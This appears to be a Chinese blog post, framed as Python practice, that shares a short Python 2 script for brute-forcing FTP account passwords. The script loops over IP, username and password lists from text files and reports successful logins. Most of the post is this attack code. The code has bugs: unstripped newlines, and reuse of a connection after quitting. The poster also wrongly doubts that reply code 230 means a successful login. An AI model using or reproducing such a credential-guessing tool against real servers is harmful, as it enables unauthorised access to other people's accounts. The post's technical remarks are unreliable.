FTP帐号密码暴力破解小工具(新手学python)
群内一童鞋写的ftp暴力破解小工具，主要用到了FTP模块,功能很简单，不大实用，还有很多需要改进的地方，贴上代码：from ftplib import FTP
import time
def ConnectFtp(ftpAddress,user,password):
for myaddress in ftpAddress:
f=FTP(myaddress)
for myuser in user:
for mypass in password:
try:
s=f.login(myuser,mypass)
if '230' in s:
print 'login success,ip:',myaddress,'user:',myuser,'password:',mypass
f.quit()
else:
print myaddress,' user:',myuser,'password:',mypass,'',s
except Exception,e:
#info=str(e)
print myaddress,'user:',myuser,'password:',mypass,'',e
def GetList(fileAddress):
#myFileContent=[]
myfile=open(fileAddress,'r')
myFileContent=myfile.readlines()
#fori in myFileContent:
#print i
return myFileContent
if __name__=="__main__":
ip=GetList("ip.txt") #ip
user=GetList("user.txt")#用户名
password=GetList("password.txt")#密码
ConnectFtp(ip,user,password)
主要功能是从ip.txt,user.txt,password.txt中获取帐号和密码还有ip地址，尝试登录，判断返回错误是否是230.
我没测试，目测应该有点问题，登录成功应该是200，不是230吧？主要是学学python,练练手！
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